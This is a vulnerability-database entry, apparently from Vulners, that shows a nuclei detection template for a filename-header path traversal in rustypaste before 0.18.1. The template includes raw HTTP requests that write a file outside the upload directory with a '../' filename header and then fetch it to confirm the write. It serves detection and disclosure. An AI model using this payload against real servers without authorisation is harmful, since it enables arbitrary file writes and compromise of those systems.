Lucene search
+L

rustypaste < 0.18.1 - Filename Header Path Traversal

🗓️ 22 Oct 2026 02:06:49Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 4 Views

Path traversal in rustypaste via custom filename header lets attackers write files arbitrarily.

Related
Refs
Code
id: CVE-2026-90774

info:
  name: rustypaste < 0.18.1 - Filename Header Path Traversal
  author: carfeii
  severity: high
  description: |
    rustypaste before 0.18.1 contains a path traversal caused by improper validation of the custom filename HTTP header, letting attackers write files outside the upload directory.
  impact: |
    Attackers can write files to arbitrary locations, potentially leading to system compromise or data tampering.
  remediation: |
    Update to version 0.18.1 or later.
  reference:
    - https://github.com/orhun/rustypaste/issues/622
    - https://github.com/orhun/rustypaste/commit/ac05d552596af4a8429d80f30d11f67117ce02c8
    - https://github.com/orhun/rustypaste/blob/v0.18.0/src/paste.rs
    - https://nvd.nist.gov/vuln/detail/CVE-2026-90774
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-90774
    epss-score: 0.00558
    epss-percentile: 0.45664
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 2
    vendor: orhun
    product: rustypaste
    shodan-query: title:"rustypaste"
  tags: cve,cve2026,rustypaste,path-traversal,file-upload,intrusive

variables:
  marker: "{{randstr}}"
  escfile: "{{randstr}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary={{randstr}}
        filename: ../{{escfile}}.txt

        --{{randstr}}
        Content-Disposition: form-data; name="protected"; filename="{{marker}}.txt"
        Content-Type: text/plain

        {{marker}}
        --{{randstr}}--

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, escfile)'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /{{escfile}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, marker)'
          - 'contains(content_type, "text/plain")'
          - 'status_code == 200'
        condition: and
# digest: 490a0046304402200e471e7a4c7d512ba1ba3c9884d60d8ee95b9b5e1c3cf15572633c69ddc2740b02201a93f37c5627736e814c2004ce27aea6481f19850700adf648b60933b9ca6bc1:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Oct 2026 00:02Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.17.5
CVSS 48.7
EPSS0.01358
SSVC
4